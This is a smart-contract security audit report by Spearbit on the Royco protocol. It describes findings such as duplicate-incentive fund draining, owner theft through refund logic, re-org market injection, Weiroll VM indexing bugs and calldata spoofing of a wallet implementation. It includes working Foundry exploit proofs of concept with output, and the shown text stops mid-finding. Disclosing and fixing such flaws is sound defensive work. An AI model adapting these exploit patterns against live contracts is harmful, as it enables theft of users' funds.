Royco Security Review

Auditors

Eric Wang, Lead Security Researcher

Liam Eastwood, Lead Security Researcher

Devtooligan, Security Researcher

0x4non, Associate Security Researcher

Report prepared by: Lucas Goiriz

October 28, 2024

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Royco Protocol allows anyone to create a market around any onchain transaction (or series of transactions). Using Royco, incentive Providers may create intents to offer incentives to users to perform the transaction(s) and users may create intents to complete the transaction(s) and/or negotiate for more incentives.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of Royco according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 8 days days in total, Royco engaged with Spearbit to review the royco-monorepo protocol. In this period of time a total of **42** issues were found.

Summary

Project Name	Royco
Repository	royco-monorepo
Commit	57c60186
Type of Project	Vaults, Incentivized Action Markets
Audit Timeline	Oct 4th to Oct 12th
Fix period	Oct 14th

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	1	1	0
High Risk	4	4	0
Medium Risk	7	7	0
Low Risk	10	6	4
Gas Optimizations	5	4	1
Informational	15	14	1
Total	**42**	**36**	**6**

5 Findings

5.1 Critical Risk

5.1.1 Duplicate incentive tokens in IP offers allow draining of funds in `RecipeKernel`

Severity: Critical Risk

Context: RecipeKernel.sol#L199-L201

Description: An attacker can drain funds held in the `RecipeKernel` by exploiting a vulnerability that allows APs to receive excessive rewards if duplicate incentive tokens are provided in the IP offer.

The root cause is that IPs can create offers with duplicate incentive tokens. When creating an IP offer, at L199-L201, `offer.incentiveAmountsOffered[incentive]` keeps track of the total amount of a specific incentive token provided (note the use of `+=`).

However, when the IP offer is filled, at L326-L342, the code iterates through the incentive array, reads `offer.incentiveAmountsOffered[incentive]` (i.e., the total amount), multiplies it with the fill percentage, and pushes the resulted amount of incentive tokens as rewards to the AP (assuming the market is `Upfront` type).

This causes the total rewards (multiplied by the fill percentage) to be pushed to the AP multiple times. For example, AP will receive double rewards if the array contains two duplicate elements.

Impact: High. Funds in `RecipeKernel` can be drained. The funds kept in `RecipeKernel` are from other users' IP offers, causing financial losses to users.

Likelihood: High. Attackers can execute the attack by creating and filling their IP offers and extracting funds from the protocol in the same transaction. They can create an upfront market first if one does not exist.

Proof of Concept: The following proof of concept shows that the attacker (both the IP and AP) can drain funds from `RecipeKernel`:

1. First, IP creates an offer with duplicate incentive tokens: `incentivesOffered = [rewardsToken, rewardsToken]` and `incentiveAmountsPaid = [2.4 ether, 2.4 ether]`.
2. Assume the protocol fee and the market's front-end fee are both 10%. If AP fills the entire offer, they should only receive `(2.4 + 2.4) / (1 + 0.1 + 0.1) = 4 ether` of incentive tokens.
3. However, AP receives 8 ether of the token due to the double-sending issue.
4. In the end, the attacker spends 4.8 ether but receives 8 ether, resulting in a 3.2 ether profit.

```
pragma solidity >=0.8.0 <0.9.0;

import "forge-std/Test.sol";

import "src/PointsFactory.sol";
import "src/RecipeKernel.sol";

import { MockERC20 } from "test/mocks/MockERC20.sol";

contract DuplicateIncentivesTest is Test {
    address owner = makeAddr("owner");
    address protocolFeeClaimant = makeAddr("protocolFeeClaimant");
    address frontendFeeRecipient = makeAddr("frontendFeeRecipient");

    MockERC20 underlying;
    MockERC20 rewardsToken;
    PointsFactory pointsFactory;
    address impl;
    RecipeKernel recipeKernel;

    function user(uint256 idx) internal returns (address) {
        return address(uint160(0x00add2000000000000000000000000000000000000 + idx));
    }

    function setUp() public {
        vm.startPrank(owner, owner);

        // deploy
```

```
        underlying = new MockERC20("Underlying", "Underlying");
        rewardsToken = new MockERC20("Reward", "Reward");
        pointsFactory = new PointsFactory(owner);
        impl = address(new WeirollWallet());
        recipeKernel = new RecipeKernel(impl, 0, 0, owner, address(pointsFactory));

        vm.stopPrank();

        for (uint i; i < 10; i++) {
            // mint users some underlying tokens
            underlying.mint(user(i), 100 ether);

            // user approves recipeKernel
            vm.startPrank(user(i), user(i));
            underlying.approve(address(recipeKernel), type(uint256).max);
            rewardsToken.approve(address(recipeKernel), type(uint256).max);
            vm.stopPrank();
        }

        // mint IP and recipeKernel some reward tokens
        rewardsToken.mint(user(2), 100 ether);
        rewardsToken.mint(address(recipeKernel), 1000 ether);

        vm.label(owner, "Owner");
        vm.label(protocolFeeClaimant, "ProtocolFeeClaimant");
        vm.label(frontendFeeRecipient, "FrontendFeeRecipient");
        vm.label(user(0), "MarketCreator");
        vm.label(user(1), "AP");
        vm.label(user(2), "IP");
        vm.label(address(underlying), "Underlying");
        vm.label(address(rewardsToken), "RewardsToken");
    }

    function info() internal {
        console.log("================================================");
        console.log("AP balance:", rewardsToken.balanceOf(user(1)));
        console.log("IP balance:", rewardsToken.balanceOf(user(2)));
        console.log("recipeKernel balance:", rewardsToken.balanceOf(address(recipeKernel)));
    }

    function test_duplicate_incentives() public {
        info();

        // Step 0. set protocol fee to 10%
        vm.startPrank(owner, owner);
        recipeKernel.setProtocolFee(1e17);
        recipeKernel.setProtocolFeeClaimant(protocolFeeClaimant);
        vm.stopPrank();

        // Step 1. user0 creates a new market
        RecipeKernelBase.Recipe memory empty = RecipeKernelBase.Recipe({
            weirollCommands: new bytes32[](0),
            weirollState: new bytes[](0)
        });

        vm.startPrank(user(0), user(0));
        recipeKernel.createMarket(
            address(underlying), // inputToken
            2 weeks, // lockupTime
            1e17, // frontendFee = 10%
            empty, // depositRecipe
            empty, // withdrawRecipe
            RewardStyle.Upfront // rewardStyle
        );
        vm.stopPrank();

        // Step 2. user2 (IP) creates an offer with duplicate elements
        address[] memory rewards = new address[](2);
        rewards[0] = address(rewardsToken);
        rewards[1] = address(rewardsToken);

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 2.4 ether;
        amounts[1] = 2.4 ether;

        vm.startPrank(user(2), user(2));
```

```
        uint256 offerID = recipeKernel.createIPOffer(
            0, // targetMarketID
            10 ether, // quantity
            0, // expiry
            rewards,
            amounts
        );
        vm.stopPrank();

        // Step 3. user1 (AP) fills the entire offer
        vm.startPrank(user(1), user(1));
        uint256[] memory offerIDs = new uint256[](1);
        offerIDs[0] = offerID;

        uint256[] memory fillAmounts = new uint256[](1);
        fillAmounts[0] = 10 ether;

        recipeKernel.fillIPOffers(offerIDs, fillAmounts, address(0), frontendFeeRecipient);
        vm.stopPrank();

        info();
    }
}
```

Results:

```
[PASS] test_duplicate_incentives() (gas: 661238)
Logs:
  ================================================
  AP balance: 0
  IP balance: 10000000000000000000
  recipeKernel balance: 100000000000000000000
  ================================================
  AP balance: 8000000000000000000
  IP balance: 9520000000000000000
  recipeKernel balance: 99680000000000000000
```

Recommendation: Consider adding a check to ensure the incentives array does not contain duplicate elements when creating AP and IP offers. Also, consider changing `+=` to `=` since the array elements are ensured to be unique.

Royco: Fixed in commit 3e270cc7.

Spearbit: Fix looks good. Nitpick: the comparison between `incentive` and `lastIncentive` addresses does not need to cast to `uint256` first:

```
if (incentive <= lastIncentive) {
    revert OfferCannotContainDuplicates();
}
```

5.2 High Risk

5.2.1 Setting and refunding intervals enable owner theft and other problems

Severity: High Risk

Context: WrappedVault.sol#L313

Description: The `setRewardsInterval` function overwrites the previous reward interval when the previous interval hasn't started. This locks the rewards that were transferred in when the previous interval was set.

The storage for tracking active intervals is not correctly updated during `refundRewardsInterval` which allows owners to steal vault tokens and causes other problems such as:

1) Once the refunded interval starts, `setRewardsInterval` cannot be called until it ends.
2) Once the refunded interval ends, `claimRewards` for that reward token can no longer be called
3) Once `setRewardsInterval()` is called again after the end of the refunded interval, those funds are locked once the new interval starts because `claimRewards()` still reverts and there is no way to retrieve the tokens.

The `setRewardsInterval` function is used to set up an interval and transfer in the rewards for new campaign on a particular reward token. If there is an existing interval in progress, this function will revert.

```
// A new rewards program can be set if one is not running
if (
    block.timestamp.toUint32() >= rewardsInterval.start &&
    block.timestamp.toUint32() <= rewardsInterval.end
) revert IntervalInProgress();
```

When an interval has been set but hasn't started yet, the function does not revert and proceeds to overwrite the previously set interval. Because rewards are transferred to the contract at the time the interval is set, the rewards from the previously set interval become locked in the contract.

While the `refundRewardsInterval` refunds the tokens, it does not update storage:

```
/// @param reward The address of the reward for which campaign should be refunded
function refundRewardsInterval(address reward) payable external onlyOwner {
    if (!isReward[reward]) revert InvalidReward();
    RewardsInterval storage rewardsInterval = rewardToInterval[reward];
    if (block.timestamp >= rewardsInterval.start) revert IntervalInProgress();

    uint256 rewardsOwed = (rewardsInterval.rate * (rewardsInterval.end - rewardsInterval.start)) - 1; // Round
↪  down
    if (!POINTS_FACTORY.isPointsProgram(reward)) {
        ERC20(reward).safeTransfer(msg.sender, rewardsOwed);
    }
}
```

So this creates a situation similar to after a new interval has been set, except there are no tokens available to pay the rewards. When a new interval is not set prior to the beginning of the refunded interval, unexpected behavior ensues.

All calls to `claim()` for the reward token will revert when transfer is attempted in `pushReward()`:

```
function pushReward(address reward, address to, uint256 amount) internal {
    // If owed is 0, there is nothing to claim. Check allows any loop calling pushReward to continue without
↪  reversion.
    if (amount == 0) {
        return;
    }
    if (POINTS_FACTORY.isPointsProgram(reward)) {
        Points(reward).award(to, amount);
    } else {
        ERC20(reward).safeTransfer(to, amount);
    }
}
```

Calls to `setRewardsInterval` will revert because of this check:

```
// A new rewards program can be set if one is not running
if (block.timestamp.toUint32() >= rewardsInterval.start && block.timestamp.toUint32() <= rewardsInterval.end)
↪  revert IntervalInProgress();
```

Once the refunded interval ends, when a new interval is created with `setInterval` those funds are locked because there is no way to retrieve them since `claim()` still reverts.

Impact: A malicious owner can take advantage of the current system:

1) Add the vault token as a reward token.
2) Set an interval on the new "*reward token*".
3) Allow the interval to start and pass, now there are users with unclaimed rewards.
4) Set another interval on the new "reward token" for an amount equal to the unclaimed rewards.
5) Refund that interval to get back the original amount transferred.
6) Call refund again to steal unclaimed reward tokens.

Proof of Concept:

```
function testproof of conceptRefundInterval() public {
    vm.warp(block.timestamp + 50 * 52 weeks); // update timestamp

    // user deposits
    uint256 depositAmount = 1_000_000e18;
    MockERC20(address(token)).mint(REGULAR_USER, depositAmount);
    vm.startPrank(REGULAR_USER);
    token.approve(address(testIncentivizedVault), type(uint).max);
    uint256 shares = testIncentivizedVault.deposit(depositAmount, REGULAR_USER);
    vm.stopPrank();
    uint32 start = uint32(block.timestamp + 30 days);
    uint32 duration = 30 days;
    MockERC20 rewardTokena1 = rewardToken1;
    testIncentivizedVault.addRewardsToken(address(rewardTokena1));

    // set a rewards interval
    uint firstRewardsSet = 2000e18;
    rewardTokena1.mint(address(this), 5000e18);
    rewardTokena1.approve(address(testIncentivizedVault), 5000e18);
    testIncentivizedVault.setRewardsInterval(address(rewardTokena1), start, start + duration, firstRewardsSet,
↪   DEFAULT_FEE_RECIPIENT);

    vm.warp(block.timestamp + 61 days); // elapse time past the end of the interval

    // refund the interval which gets the tokens back but does not update accounting
    uint secondRewardsSet = 1000e18;
    start = start + 70 days;
    duration = 30 days;
    testIncentivizedVault.setRewardsInterval(address(rewardTokena1), start, start + duration,
↪   secondRewardsSet, DEFAULT_FEE_RECIPIENT);
    testIncentivizedVault.refundRewardsInterval(address(rewardTokena1));

    // this allows for refunding the interval again which steals the unclaimed reward tokens owed to the user
    testIncentivizedVault.refundRewardsInterval(address(rewardTokena1));
}
```

Recommendation: Consider implementing the following changes:

- Add a line to the beginning of `setRewardsInterval()` that reverts if `rewardToInterval[reward].start > block.timestamp` -- this will prevent the reward interval from being overwritten if there is a scheduled reward interval in the future that hasn't been refunded yet.
- Add a check in `addRewardsToken()` which reverts if `address(rewardToken) == address(VAULT)`.
- Update the storage to reflect the refunded interval. One idea would be to `delete rewardToInterval[reward]`.
- But this introduces a new problem when we call `setRewardsInterval()` again after refunding. Since the `rewardToRPT(rewardToken).lastUpdated` value has previously been set to the `rewardToInterval[reward].start` time this will cause a panic from underflow on line #330 since `rewardToInterval[reward].start` has been nulled out. One solution to resolve that would be to add an early return in `_calculateRewardsPerToken` if `rewardToInterval[reward].start == 0`.

Carefully consider downstream effects from this or any solution.

Royco:

- Preventing adding vault token was added in coommit 35069dfb.
- RewardToken check was added in commit 9e3227d9.
- An additional fix was added in commit 19ee0e2e

Spearbit: Fix confirmed.

5.2.2 Chain re-orgs may facilitate improper order fulfillment

Severity: High Risk

Context: RecipeKernel.sol#L384

Description: When an IP creates a new offer, the offer is indexed only by `numIPOffers` which increments with each new offer created. This differs significantly to AP offer creations which index offers by it's hash, ensuring the fulfiller of an AP offer always receives the expected incentive amounts. However, because an IP offer is fulfilled only on `offerID`, then a chain re-org may allow for a new order to be created under the same `offerID` but with a malicious market injected or different incentives which are paid to the fulfiller.

Consider the following example:

- An honest actor creates a valid IP offer.
- Right before this offer is fulfilled, the chain re-org's, reverting state for the offer creation and fulfilment.
- A malicious actor sees this and quickly creates a malicious IP offer with the same `offerID` and ensures that the same order fulfilment is executed right after.
- Two paths are a net negative for the fulfiller, the replaced IP offer contains a malicious market which allows funds to be stolen when the deposit recipe is executed, or secondly, no incentives are offered and the AP unintentionally enters into false agreement.

This also incentivizes intentional re-orgs as strategies emerge to create attractive IP offers which lure fulfillers and then the above scenario plays out profitably for the malicious actor.

It's dangerous to fill orders according to offerID without checking the hash of the IPOffer struct. An order can be created, chain gets re-org'd and then a malicious market can be injected with a deposit recipe which simply gives funds to the IP.

Seems important to also store offer.incentiveAmountsPaid = incentiveAmountsPaid in case of a specific re-org edge case. An order might be created by the IP and filled by the AP, but upon re-org, the IP creates a completely different offer with considerably lower incentives paid.

Recommendation: The hash of the `IPOffer` struct should be stored and indexed along with `offerID`. This should ensure the fulfiller always fulfills the intended order.

Royco: Made the suggested fixes in commits 7f9b7a89 and 99aa0c4d.

Spearbit: The commits fix the current issue but introduce the following vulnerability:

- **Hash data malleability allows for AP offer fulfillment without providing incentives**

  Severity: Critical Risk

  Context: RecipeKernelBase.sol#L321-L334, RecipeKernel.sol#L427-L522

  Description: When an AP offer is created, only the offer hash is indexed to store the total amount of input tokens to be deposited during fulfillment(s). Upon fulfillment, the entire `APOffer` struct is provided in the call.

  There are two notable values that can be altered such that `abi.encodePacked()` returns the same encoded data to be hashed. These are `address[] incentivesRequested` and `uint256[] incentiveAmountsRequested`:

```
struct APOffer {
    uint256 offerID;
    uint256 targetMarketID;
    address ap;
    address fundingVault;
    uint256 quantity;
    uint256 expiry;
    address[] incentivesRequested;
    uint256[] incentiveAmountsRequested;
}
```

  When using `abi.encodePacked()`, arrays are encoded in place and without any of the typical data expected in dynamic array types. Hence, when fulfilling an AP offer, `getOfferHash()`

returns the same hash value if we alter the length of `APOffer.incentivesRequested` and `APOffer.incentiveAmountsRequested`.

Instead, if we pass an empty array for `APOffer.incentivesRequested` and prepend all of the incentive addresses to `APOffer.incentiveAmountsRequested` as `uint256` array elements, then `_fillAPOffer()` will calculate the same hash and order fulfillment will be processed. Because the two arrays are not verified to be of the same length, we end up skipping all incentives because `numIncentives` is zero. As a result, the deposit recipe will still executed without offering up any incentives.

When an IP offer is fulfilled, an `offerHash` parameter must be provided which allows for the `IPOffer` to be retrieved from storage. As all details are stored, there is no possibility of abusing the hash malleability of `abi.encodePacked()`.

Recommendation: Avoid using `abi.encodePacked()` when calculating the hash of an AP offer. It's also worth re-naming the `getOfferHash()` implementations to clarify if an IP or AP offer is being hashed.

5.2.3 Error in preview rate calculation results in users losing rewards or offers not being allocated

Severity: High Risk

Context: WrappedVault.sol#L466

Description: The `previewRateAfterDeposit()` function calculates the rate a user would receive in rewards after depositing assets. However, the incorrect implementation of a check causes the function to return a zero rate for an active reward period, and non-zero before the period starts.

An attacker can exploit this error to allocate user's assets to the incentivized vault even though the reward has not started yet, and subsequently get refunded by canceling the reward period. Users will end up getting no rewards at all.

On the other hand, users' offer will fail to be allocated to the vaults even though the reward period has started and the rate is high enough because the previewed rate is always zero.

Recommendation: Consider changing the check to:

```
if (rewardsInterval.start > block.timestamp || block.timestamp >= rewardsInterval.end) return 0;
```

The first comparison is changed to >, and the second comparison is changed to >= to be more precise.

Royco: Fixed in commit 62195735.

Spearbit: Fix confirmed.

5.2.4 Malicious markets can be injected into orders in the event of a re-org

Severity: High Risk

Context: RecipeKernel.sol#L51

Description: Recipe markets can be instantiated permissionlessly in `createMarket()` and is indexed by `numMarkets` which increases for each new instance. AP and IP offers can be created using `targetMarketID` to indicate which weiroll market to execute the fulfillment. However, during a chain re-org, it becomes possible to inject a completely different weiroll market instance that references the same `targetMarketID` that the IP/AP offer was initially created on. In this case, the offer can be fulfilled such that a malicious deposit recipe is executed, breaching the offerer's intended commitment to fulfill the order according to the parameters defined prior to the re-org.

Consider the following example:

- A weiroll market is created with valid inputs.
- An honest actor creates a valid IP or AP offer referencing `targetMarketID` as the newly created market they intend to deposit into.
- At some point before or after order fulfillment, if a chain re-org occurs and reverts state up and until market creation, then it becomes possible to inject a malicious market.

- A malicious actor sees this and quickly creates a new market which has the same `targetMarketID` as the market prior to the chain re-org.
- This market contains a malicious deposit recipe which when re-executing offer creation, the same malicious actor can fulfill the order and steal funds.

This also incentivizes intentional re-orgs as strategies emerge to create attractive IP offers which lure fulfillers and then the above scenario plays out profitably for the malicious actor.

Recommendation: When referencing a market, instead of using `targetMarketID` to determine which market to use in an offer, a hash check needs to be performed such no re-org occurred and allowed anyone to inject a malicious market.

Royco: Fixed in commit 1a69918d.

Spearbit: Fix confirmed. All references of `numMarkets` are instead replaced by using the market hash to read it's state.

5.3 Medium Risk

5.3.1 `writeOutputs` may read out-of-bounds memory

Severity: Medium Risk

Context: CommandBuilder.sol#L112, CommandBuilder.sol#L132-L138

Description: Weiroll VM uses 1-byte indices where the first bit identifies whether the indexed value should be treated as a fixed or variable length. The other seven bits are denoted as `idx` and used to compute what index in the `state` byte array to look-up. In all cases, `idx & IDX_VALUE_MASK` should point to the correct position in the `state` array.

It's important that this value does not exist outside of the `state` array as this would allow potential writes to memory locations containing other variables.

Recommendation: Adhere closer to Enso's implementation of Weiroll, which would mean that `writeOutputs()` looks more like the following:

```
function writeOutputs(
    bytes[] memory state,
    bytes1 index,
    bytes memory output
) internal pure returns (bytes[] memory) {
    uint256 idx = uint8(index);
    if (idx == IDX_END_OF_ARGS) return state;

    if (idx & IDX_VARIABLE_LENGTH != 0) {
        if (idx == IDX_USE_STATE) {
            state = abi.decode(output, (bytes[]));
        } else {
            require(idx & IDX_VALUE_MASK < state.length, "Index out-of-bounds");
            // Check the first field is 0x20 (because we have only a single return value)
            uint256 argptr;
            assembly {
                argptr := mload(add(output, 32))
            }
            require(
                argptr == 32,
                "Only one return value permitted (variable)"
            );

            assembly {
                // Overwrite the first word of the return data with the length - 32
                mstore(add(output, 32), sub(mload(output), 32))
                // Insert a pointer to the return data, starting at the second word, into state
                mstore(
                    add(add(state, 32), mul(and(idx, IDX_VALUE_MASK), 32)),
                    add(output, 32)
                )
            }
        }
    } else {
        require(idx & IDX_VALUE_MASK < state.length, "Index out-of-bounds");
        // Single word
```

```
        require(
            output.length == 32,
            "Only one return value permitted (static)"
        );

        state[idx & IDX_VALUE_MASK] = output;
    }

    return state;
}
```

Royco: Fixed in commit 07b60a64 by swapping the weiroll library.

Spearbit: Fix looks good.

5.3.2 `writeTuple` does not properly index into the `state` array

Severity: Medium Risk

Context: CommandBuilder.sol#L152

Description: Each `bytes32 command` that is to be executed by Weiroll's VM contains a 1-byte `flags` argument where the first bit defines a tuple return. In this case, the return for this command will be assigned to the `state` slot directly, without any attempt at processing or decoding. `o` is the 1-byte argument used to define where in `state` to write the return value to.

Indices are always indexed in `state` by performing `state[idx & IDX_VALUE_MASK]`, whereas the current implementation does not perform a bit `AND` on `idx`.

Recommendation: Consider adhering more to Enso's implementation of Weiroll. The `writeTuple()` function needs to be updated to write correctly to `state` by making use of `IDX_VALUE_MASK`. In the context of Royco, return values may be re-used for subsequent command executions and any corruption of this may cause recipes to be improperly executed.

```
function writeTuple(
    bytes[] memory state,
    bytes1 index,
    bytes memory output
) internal view {
    uint256 idx = uint256(uint8(index));
    if (idx == IDX_END_OF_ARGS) return;

    bytes memory entry = state[idx & IDX_VALUE_MASK] = new bytes(output.length + 32);
    memcpy(output, 0, entry, 32, output.length);
    assembly {
        let l := mload(output)
        mstore(add(entry, 32), l)
    }
}
```

Royco: Fixed in commit 07b60a64 by swapping the weiroll library.

Spearbit: Fix looks good.

5.3.3 Extended commands read the wrong index from the array

Severity: Medium Risk

Context: VM.sol#L49

Description: VM commands contain a 1-byte flag argument which uses each bit to identify additional features and calltype. Command structs would normally contain only a 6-byte list of indices. However, when the extbit has been set, the next command should be treated as a 32-byteinlist of indices. Readingcommands[i++]will actually returnindicesat indexiand notI++' because the increment is only processed after the memory array read.

Recommendation: Ensure the increment is executed before the array read by updating `_execute()` to the following:

```
if (flags & FLAG_EXTENDED_COMMAND != 0) {
    indices = commands[++i];
} else {
    indices = bytes32(uint256(command << 40) | SHORT_COMMAND_FILL);
}
```

Royco: Fixed by swapping weiroll library in commit 07b60a64.

Spearbit: Fix looks good.

5.3.4 Weiroll value calltypes will read the wrong value amount from the `state` array

Severity: Medium Risk

Context: VM.sol#L83

Description: Weiroll supports calls with native values attached. When the calltype is `FLAG_CT_VALUECALL`, then according to documentation, the first argument in the `in` input list should be taken as the amount passed along with the call. In `CommandBuilder.buildInputs()`, `state` is always referenced along with `IDX_VALUE_MASK`. So to properly read from `state`, we need to do `uint8(bytes1(indices)) & CommandBuilder.IDX_VALUE_MASK` to get the correct value amount to forward.

In the context of Royco, it is hard to define the impact but it would not seem out of the ordinary for deposit/withdrawal recipes to use value calltypes.

Recommendation: The value calltype branch in `_execute()` can be updated to properly index into the `state` array.

```
} else if (flags & FLAG_CT_MASK == FLAG_CT_VALUECALL) {
    uint256 calleth;
    bytes memory v = state[
        uint8(bytes1(indices)) &
        CommandBuilder.IDX_VALUE_MASK
    ];
    require(v.length == 32, "_execute: value call has no value indicated.");
    assembly {
        calleth := mload(add(v, 0x20))
    }
    (success, outdata) = address(uint160(uint256(command))).call{ // target
        value: calleth
    }(
        // inputs
        state.buildInputs(
            //selector
            bytes4(command),
            bytes32(uint256(indices << 8) | CommandBuilder.IDX_END_OF_ARGS)
        )
    );
```

Royco: Fixed by swapping weiroll library in commit 07b60a64.

Spearbit: Fix looks good.

5.3.5 Unauthenticated calls can be made to the VM from the wallet implementation contract

Severity: Medium Risk

Context: WeirollWallet.sol#L4-L5

Description: The combination of using both `ClonesWithImmutableArgs` and Weiroll VM is made interesting because `delegatecall` is a supported calltype. `ClonesWithImmutableArgs` is an incredibly gas efficient way to deploy clones where constructor arguments are stored as immutable variables in bytecode instead of in storage. Each `delegatecall` made to the implementation contract from the proxy will append these immutable arguments to the calldata. The calldata is passed on in the `delegatecall` as:

```
original calldata + immutable arguments + 2 byte length of immutable args
```

By carefully crafting calls to the implementation contract, the immutable arguments can be spoofed to bypass any checks in the implementation contract that would normally prevent us from calling `executeWeiroll()` because `onlyRecipeKernel` will revert. This means you can execute a `delegatecall` where the initiating contract is `WEIROLL_WALLET_IMPLEMENTATION`, targeting a malicious contract which alters state or self-destructs.

Fortunately, post-dencun chains are not affected by this because EIP-6780 essentially does not allow for contract state to be deleted unless the contract is self-destructed in the same transaction it was deployed in. In this case, `WEIROLL_WALLET_IMPLEMENTATION` is deployed in it's own transaction and hence it would not be possible to delete it's state even if it made an unauthenticated `delegatecall`.

We cannot determine what the future implementation for the `SELFDESTRUCT` opcode will look like and so it's best to be safe about unauthenticated calls from the implementation contract. Weiroll wallets may have significant lockup times that do not allow their respective owners to take action before a new protocol upgrade takes place.

Proof of Concept:

```
function testWalletImplementationDelegatecall() public {

    // Check if the implementation contract is correctly initialized
    assertEq(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).owner(), address(0));
    assertEq(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).recipeKernel(), address(0));
    assertEq(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).amount(), 0);
    assertEq(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).lockedUntil(), 0);
    assertFalse(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).isForfeitable());
    assertEq(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).marketId(), 0);
    assertFalse(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).forfeited());
    assertFalse(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).executed());

    // Mark malicious user as 0xdead
    address spoofedOwner = address(0xdead);

    // Deploy a new MockDelegateCallTarget contract
    MockDelegateCallTarget target = new MockDelegateCallTarget();

    // Build payload to attempt to self destruct the implementation contract
    bytes memory payload;
    bytes4 executeWeirollFunctionSig =
↪   WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).executeWeiroll.selector;
    payload = bytes.concat(payload, abi.encodePacked(executeWeirollFunctionSig));
    payload = bytes.concat(payload, hex"0000000000000000000000000000000000000000000000000000000000000040");
    payload = bytes.concat(payload, hex"0000000000000000000000000000000000000000000000000000000000000080");
    payload = bytes.concat(payload, hex"0000000000000000000000000000000000000000000000000000000000000001");
    bytes4 selfDestructFunctionSig = target.selfDestruct.selector;
    payload = bytes.concat(payload, abi.encodePacked(selfDestructFunctionSig));
    payload = bytes.concat(payload, hex"00ff0000000000ff");
    payload = bytes.concat(payload, abi.encodePacked(address(target)));
    payload = bytes.concat(payload, hex"0000000000000000000000000000000000000000000000000000000000000000");
    bytes memory data = abi.encodePacked(payload, spoofedOwner, spoofedOwner, uint256(1),
↪   uint256(block.timestamp + 1), true, uint256(1), bytes1(uint8(0)), bytes1(uint8(137)));

    // Perform call to implementation contract with custom calldata attached
    vm.prank(address(0xdead));
    (bool success, bytes memory retData) = WEIROLL_WALLET_IMPLEMENTATION.call(data);

    // Check if the call was successful
    assertTrue(success);

    // Check if implementation and target address still have code after attempt to self destruct
    address implementationAddress = WEIROLL_WALLET_IMPLEMENTATION;
    uint32 sizeI; uint32 sizeT;
    assembly {
        sizeI := extcodesize(implementationAddress)
        sizeT := extcodesize(target)
    }
    assertGt(sizeI, 0);
    assertGt(sizeT, 0);

    // Check if the implementation contract executed the weiroll commands
    assertTrue(WeirollWallet(payable(WEIROLL_WALLET_IMPLEMENTATION)).executed());

    // Self destruct halts the execution of the target contract, so the executed flag should remain false
    assertFalse(target.executed());
```

```
}

contract MockDelegateCallTarget {

    bool public executed;
    constructor() {}

    function selfDestruct() external {
        executed = true;
        selfdestruct(payable(address(0xdead)));
    }
}
```

Recommendation: Other avenues have not really been explored just yet but it's unclear what the suggested fix should be (if there should even be one). Open to discussing with the Royco team and updating when we have agreed upon something.

Royco: Fixed by swapping weiroll library in commit 07b60a64.

Spearbit: Fix looks good.

5.3.6 Offers can be allocated to incentivized vaults with a reward period shorter than the minimum requirement

Severity: Medium Risk

Context: VaultKernel.sol#L225-L227

Description: The `end - start < MIN_CAMPAIGN_DURATION` check ensures offers are only allocated if the reward period will last for some minimum duration to prevent last-minute rate inflation attacks.

However, the check compares the `end` time with the `start` time instead of the current time, allowing offers to be allocated regardless of the remaining time of the rewards campaign.

Recommendation: Consider calculating `end - block.timestamp` instead of `end - start`. Also, add a check to the ensure `block.timestamp > end` or change the `if` condition to `end < block.timestamp + MIN_CAMPAIGN_DURATION` to avoid integer overflow.

Note that the minimum duration check prevents offers from being allocated even though the rate is extremely high in the remaining period. This is considered a known protocol limitation, and users should be aware of it when creating offers.

Royco: Fixed as suggested in commit 4250e0f9.

Spearbit: Fix confirmed.

5.3.7 Rewards distributed during periods with no active depositors are locked in the incentivized vaults

Severity: Medium Risk

Context: WrappedVault.sol#L340-L345

Description: Every vault has 10,000 shares minted to the zero address (see L140). During an active reward period, if no user has deposited into the vault, all the rewards will be distributed to the zero address and effectively locked in the contract.

Even if no shares are minted to the zero address in the first place, this issue still exists because `rewardsPerTokenOut.lastUpdated` will be updated in `_calculateRewardsPerToken()` if the elapsed time is greater than 0, regardless of the total supply.

Recommendation: One possible solution is to allow the owner to claim rewards distributed to the zero address so that any rewards distributed during the zero total-supply period can be refunded to the owner.

Royco: Fixed in commit 3c614705. The easiest solution is allowing the owner to claim address(0) rewards, since it would be messy to try and pre-emptively wait for deposits to start tracking rewards.

Spearbit: Fix confirmed. Nonetheless, we suggest changing the function to `ownerClaim(address to, address reward)`, so if any reward transfer constantly reverts, the owner can still claim the other reward tokens. Similar to the idea of `claim(address to, address reward)`.

5.4 Low Risk

5.4.1 `redeem` function will always revert due to double asset transfer

Severity: Low Risk

Context: WrappedVault.sol#L534-L537

Description: The `redeem` function has an incorrect sequence of asset transfers that causes it to always revert, making it impossible for users to execute the function successfully.

Here's the breakdown of the issue:

